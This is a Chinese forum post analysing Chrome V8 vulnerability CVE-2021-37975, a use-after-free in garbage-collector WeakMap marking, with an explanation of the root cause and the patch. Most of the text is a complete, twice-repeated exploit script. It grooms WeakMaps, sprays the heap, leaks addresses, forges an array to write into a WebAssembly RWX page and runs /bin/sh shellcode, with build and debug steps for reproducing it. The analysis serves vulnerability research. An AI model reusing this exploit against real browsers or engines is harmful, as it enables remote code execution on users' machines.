-
-
[原创]chrome v8漏洞CVE-2021-37975浅析
-
发表于: 2024-5-8 18:44 8851
-
作者: coolboy
CVE-2021-37975 是产生在v8 GC模块的UAF漏洞,利用堆喷可以在原地址申请一个对象,新对象跟释放对象的类型不一致,可以造成类型混淆,从而实现利用。
文章分析了漏洞成因、原理、patch以及POC细节。
这是一个系列文章,本文是第二篇,前一篇:chrome v8漏洞CVE-2021-30632浅析
先给出POC及复现命令,有一个利用成功的整体感受,后续会拆解POC代码。
运行./out/x64.release/d8 poc.js, 得到shell,如下图:
要使上面的程序运行成功,有两点需要注意:
如图,v8 GC垃圾回收核心算法是三色算法。
如果GC算法运行结束,仍然为白色的对象,将被释放。当前漏洞的成因是一个能够被访问到的对象在GC算法结束时,被错误的标记为白色,因而被释放,导致了UAF
js中的 WeakMap 不支持迭代以及 keys(),values() 和 entries() 方法,只有下面方法:
介绍4个重要的数据结构:
介绍几个关键函数,均位于mark-compact.cc。
就是上面的标记算法出现了漏洞。考虑下面代码。
ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。
DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法
考虑一轮标记各结构如上图,此时current_ephemerons中(k1, v1), (k2, v2)为白。
local_marking_worklists中存放了灰色的v3, v3是一个WeakMap, v3.set(k0, k1),假设此时k0为黑。DrainMarkingWorklist将v3由灰标记为黑,并递归遍历v3所有的key, value,此时(k0, k1)为(黑,白),将会把k1变为灰,加入到local_marking_worklists,并接着将local_marking_worklists中的k1由灰标记为黑,直至local_marking_worklists为空。
由于调用DrainMarkingWorklist并未判断返回值,k1被标记为黑色之后,如果此时GC标记算法结束,那么current_ephemerons中的v1由于还是白,将会被释放掉。而v1可以通过weakmap.get(k1)访问到,就会造成了UAF。
补丁代码比较多,核心的就是这里,判断了ProcessMarkingWorklist的返回值,当它对某个对象标记之后,迭代再来一轮,这样v1就会在下一轮对current_ephemerons中的处理中被标记,不会被回收了。
ProcessEphemeronsUntilFixpoint中迭代超过10次(max_iterations),那么将采用另外一个算法ProcessEphemeronsLinear。这个算法有没有漏洞呢?
ProcessEphemeronsLinear算法如下:
因此,ProcessEphemeronsLinear 虽然没有判断ProcessMarkingWorklist返回值,但它通过newly_discovered数组覆盖了有对象被标记为黑色的情况,因此也不存在漏洞。
setUpWeakMap 分成两部分,hideWeakMap,及xxxxx代表的第二部分。回顾前面提及过MarkLiveObjects 两次 ProcessEphemeronMarking。因此需要构造一个嵌套的结构。如下图:
hideWeakMap构造了左边的结构。
setUpWeakMap剩余部分构造了右边的结构。
Chrome in-the-wild bug analysis: CVE-2021-37975
Concurrent marking in V8
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
# 漏洞补丁前一笔提交
git checkout 452f57beb81
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
# test
.
/out/x64
.release
/d8
--help
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
git clone https:
//chromium
.googlesource.com
/chromium/tools/depot_tools
.git
export
PATH=
/path/to/depot_tools
:$PATH
mkdir
~
/v8
cd
~
/v8
fetch v8
cd
v8
# 漏洞补丁前一笔提交
git checkout 452f57beb81
gclient
sync
alias
gm=~
/v8/tools/dev/gm
.py
gm x64.release
gm x64.debug
# test
.
/out/x64
.release
/d8
--help
// poc.js
function
sleep(miliseconds) {
var
currentTime =
new
Date().getTime();
while
(currentTime + miliseconds >=
new
Date().getTime()) {
}
}
var
initKey = {init : 1};
var
level = 4;
var
map1 =
new
WeakMap();
var
gcSize = 0x4fe00000;
var
sprayParam = 1000;
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var
mapAddr = 0x8203ae1;
var
mapAddr = 0x8183ae1
var
rwxOffset = 0x60;
var
code =
new
Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var
module =
new
WebAssembly.Module(code);
var
instance =
new
WebAssembly.Instance(module);
var
wasmMain = instance.exports.main;
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function
hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap =
new
WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {
'h'
: i};
//make thisKey reachable via prevKey
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
let retMap =
new
WeakMap();
map.set(thisKey, retMap);
return
thisKey;
}
}
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function
getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
return
thisKey;
}
}
}
function
setUpWeakMap(map) {
// for (let i = 0; i < 1000; i++) new Array(300);
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
let hiddenMap = map.get(hk);
let map7 =
new
WeakMap();
let map8 =
new
WeakMap();
//hk->k5, k5: discover->wl
let k5 = {k5 : 1};
let map5 =
new
WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta =
new
Uint8Array(1024);
ta.fill(0xfe);
let larr =
new
Array(1 << 15);
larr.fill(1.1);
console.log(
"================ double in free zone: larr"
);
// %DebugPrint(larr);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);
//map3 : kb|vb: initial discovery ->wl
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
map5.set(hk, k7);
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
//wl discovers map8, and mark k8 black
map7.set(k8, map8);
map7.set(k7, k8);
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
map8.set(k8,k9);
}
var
view =
new
ArrayBuffer(24);
var
dblArr =
new
Float64Array(view);
var
intView =
new
Int32Array(view);
var
bigIntView =
new
BigInt64Array(view);
function
ftoi32(f) {
dblArr[0] = f;
return
[intView[0], intView[1]];
}
function
i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return
dblArr[0];
}
function
itof(i) {
bigIntView = BigInt(i);
return
dblArr[0];
}
function
ftoi(f) {
dblArr[0] = f;
return
bigIntView[0];
}
function
gc() {
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
new
ArrayBuffer(gcSize);
}
function
restart() {
//Should deopt main if it gets optimized
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function
main() {
setUpWeakMap(map1);
//sleep(2000);
gc();
//sleep(2000);
let sprayParamArr = [];
for
(let i = 0; i < sprayParam; i++) {
let thisArr =
new
Array(1 << 15);
sprayParamArr.push(thisArr);
}
//These are there to stop main being optimized by JIT
globalIdx['a
' + globalIdx] = 1;
//Can'
t refactor
this
, looks like it cause some double rounding problem (got optimized?)
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx[
'a'
+ globalIdx + 1000] = 1;
let result =
null
;
try
{
// handle: Cannot read properties of undefined. out of order map keys
result = fetch();
}
catch
(e) {
console.log(
"fetch failed"
);
restart();
return
;
}
if
(!result) {
console.log(
"fail to find object address."
);
restart();
return
;
}
let larr = result.larr;
let index = result.idx;
console.log(
"================ double in free zone: instance"
);
// %DebugPrint(instance);
// larr 里面全部存放的是instance 对象地址, index 默认为0
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log(
"================found instance address: 0x"
+ instanceAddr.toString(16) +
" at index: "
+ index);
console.log(
"================found instance address2: 0x"
+ instanceAddr2.toString(16) +
" at index: "
+ index);
let x = {};
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}
globalIdx[
'a'
+ globalIdx + 5000] = 1;
larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for
(let i = 0; i < sprayParamArr.length; i++) {
globalIdx[
'a'
+ globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for
(let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if
(thisObj == instance) {
console.log(
"found instance object at: "
+ i +
" index: "
+ j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx[
'a'
+ globalIdx + 4000] = 1;
if
(objArrIdx == -1) {
console.log(
"failed getting fake object index."
);
restart();
return
;
}
let obj = [1.1,1.2,1.3,0.0];
console.log(
"================ obj"
);
// %DebugPrint(obj)
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx[
'a'
+ globalIdx + 2000] = 1;
// 现在larr里面填充的是obj 对象地址
// %SystemBreak();
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
//Faking an array at using obj[0] and obj[1]
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log(
"array address: 0x"
+ addr.toString(16));
console.log(
"array element address: 0x"
+ objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if
(!(fakeArray
instanceof
Array)) {
console.log(
"fail getting fake array."
);
restart();
return
;
}
rwxAddr = fakeArray[0];
console.log(
"rwx address at: 0x"
+ ftoi(rwxAddr).toString(16));
if
(rwxAddr == 0) {
console.log(
"failed getting rwx address."
);
restart();
return
;
}
//Read shellArray address
let shellArray =
new
Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
let shellAddr = ftoi32(larr[index])[0];
console.log(
"shellArray addr: 0x"
+ shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var
shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for
(let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}
function
findTA(ta) {
let found =
false
;
for
(let i = 0; i < 16; i++) {
if
(ta[i] != 0xfe) {
console.log(ta[i]);
return
true
;
}
}
console.log(ta[0]);
return
found;
}
/*
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
*/
function
findLArr(larr) {
for
(let i = 0; i < (1 << 15); i++) {
if
(larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return
i;
}
else
{
// 可以正常打印,标记了,还没有真正free?
//console.log(larr[i])
}
}
return
-1;
}
function
fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(
'===========before access free pointet 1'
)
console.log(
'===========before access free pointet 2'
)
let larr = map1.get(map8.get(k8)).larr;
console.log(
'===========before findLArr'
)
let index = findLArr(larr);
console.log(
'===========after findLArr'
)
if
(index == -1) {
return
;
}
return
{larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();
// poc.js
function
sleep(miliseconds) {
var
currentTime =
new
Date().getTime();
while
(currentTime + miliseconds >=
new
Date().getTime()) {
}
}
var
initKey = {init : 1};
var
level = 4;
var
map1 =
new
WeakMap();
var
gcSize = 0x4fe00000;
var
sprayParam = 1000;
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var
mapAddr = 0x8203ae1;
var
mapAddr = 0x8183ae1
var
rwxOffset = 0x60;
var
code =
new
Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var
module =
new
WebAssembly.Module(code);
var
instance =
new
WebAssembly.Instance(module);
var
wasmMain = instance.exports.main;
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function
hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap =
new
WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {
'h'
: i};
//make thisKey reachable via prevKey
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
let retMap =
new
WeakMap();
map.set(thisKey, retMap);
return
thisKey;
}
}
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function
getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
return
thisKey;
}
}
}
function
setUpWeakMap(map) {
// for (let i = 0; i < 1000; i++) new Array(300);
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
let hiddenMap = map.get(hk);
let map7 =
new
WeakMap();
let map8 =
new
WeakMap();
//hk->k5, k5: discover->wl
let k5 = {k5 : 1};
let map5 =
new
WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta =
new
Uint8Array(1024);
ta.fill(0xfe);
let larr =
new
Array(1 << 15);
larr.fill(1.1);
console.log(
"================ double in free zone: larr"
);
// %DebugPrint(larr);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);
//map3 : kb|vb: initial discovery ->wl
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
map5.set(hk, k7);
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
//wl discovers map8, and mark k8 black
map7.set(k8, map8);
map7.set(k7, k8);
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
map8.set(k8,k9);
}
var
view =
new
ArrayBuffer(24);
var
dblArr =
new
Float64Array(view);
var
intView =
new
Int32Array(view);
var
bigIntView =
new
BigInt64Array(view);
function
ftoi32(f) {
dblArr[0] = f;
return
[intView[0], intView[1]];
}
function
i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return
dblArr[0];
}
function
itof(i) {
bigIntView = BigInt(i);
return
dblArr[0];
}
function
ftoi(f) {
dblArr[0] = f;
return
bigIntView[0];
}
function
gc() {
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
new
ArrayBuffer(gcSize);
}
function
restart() {
//Should deopt main if it gets optimized
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function
main() {
setUpWeakMap(map1);
//sleep(2000);
gc();
//sleep(2000);
let sprayParamArr = [];
for
(let i = 0; i < sprayParam; i++) {
let thisArr =
new
Array(1 << 15);
sprayParamArr.push(thisArr);
}
//These are there to stop main being optimized by JIT
globalIdx['a
' + globalIdx] = 1;
//Can'
t refactor
this
, looks like it cause some double rounding problem (got optimized?)
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx[
'a'
+ globalIdx + 1000] = 1;
let result =
null
;
try
{
// handle: Cannot read properties of undefined. out of order map keys
result = fetch();
}
catch
(e) {
console.log(
"fetch failed"
);
restart();
return
;
}
if
(!result) {
console.log(
"fail to find object address."
);
restart();
return
;
}
let larr = result.larr;
let index = result.idx;
console.log(
"================ double in free zone: instance"
);
// %DebugPrint(instance);
// larr 里面全部存放的是instance 对象地址, index 默认为0
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log(
"================found instance address: 0x"
+ instanceAddr.toString(16) +
" at index: "
+ index);
console.log(
"================found instance address2: 0x"
+ instanceAddr2.toString(16) +
" at index: "
+ index);
let x = {};
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}
globalIdx[
'a'
+ globalIdx + 5000] = 1;
larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for
(let i = 0; i < sprayParamArr.length; i++) {
globalIdx[
'a'
+ globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for
(let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if
(thisObj == instance) {
console.log(
"found instance object at: "
+ i +
" index: "
+ j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx[
'a'
+ globalIdx + 4000] = 1;
if
(objArrIdx == -1) {
console.log(
"failed getting fake object index."
);
restart();
return
;
}
let obj = [1.1,1.2,1.3,0.0];
console.log(
"================ obj"
);
// %DebugPrint(obj)
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx[
'a'
+ globalIdx + 2000] = 1;
// 现在larr里面填充的是obj 对象地址
// %SystemBreak();
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
//Faking an array at using obj[0] and obj[1]
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log(
"array address: 0x"
+ addr.toString(16));
console.log(
"array element address: 0x"
+ objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if
(!(fakeArray
instanceof
Array)) {
console.log(
"fail getting fake array."
);
restart();
return
;
}
rwxAddr = fakeArray[0];
console.log(
"rwx address at: 0x"
+ ftoi(rwxAddr).toString(16));
if
(rwxAddr == 0) {
console.log(
"failed getting rwx address."
);
restart();
return
;
}
//Read shellArray address
let shellArray =
new
Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
let shellAddr = ftoi32(larr[index])[0];
console.log(
"shellArray addr: 0x"
+ shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var
shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for
(let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}
function
findTA(ta) {
let found =
false
;
for
(let i = 0; i < 16; i++) {
if
(ta[i] != 0xfe) {
console.log(ta[i]);
return
true
;
}
}
console.log(ta[0]);
return
found;
}
/*
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
*/
function
findLArr(larr) {
for
(let i = 0; i < (1 << 15); i++) {
if
(larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return
i;
}
else
{
// 可以正常打印,标记了,还没有真正free?
//console.log(larr[i])
}
}
return
-1;
}
function
fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(
'===========before access free pointet 1'
)
console.log(
'===========before access free pointet 2'
)
let larr = map1.get(map8.get(k8)).larr;
console.log(
'===========before findLArr'
)
let index = findLArr(larr);
console.log(
'===========after findLArr'
)
if
(index == -1) {
return
;
}
return
{larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
user % .
/out/x64
.release
/d8
--allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
- map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x05fe0814c0f9 <JSArray[0]>
- elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x05fe0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x5fe080048f1: [String]
in
ReadOnlySpace:
#length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x05fe080494e1 <FixedDoubleArray[3]> {
0-2: 1.1
}
# 0x05fe08183ae1 取低32位0x8183ae1, 赋值给poc.js里面的mapAddr 即可。取低32位,是因为v8采用了地址压缩技术,64位地址在变量中只保存低32位,高32位在寄存中保留。
# POC可以简单通过test1.js 来获取double arr的地址; exp实际利用环境,可以通过此UAF漏洞构造任意地址读来获取double arr的地址。 方法不再赘述。
user % .
/out/x64
.release
/d8
--allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
- map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x05fe0814c0f9 <JSArray[0]>
- elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x05fe0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x5fe080048f1: [String]
in
ReadOnlySpace:
#length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!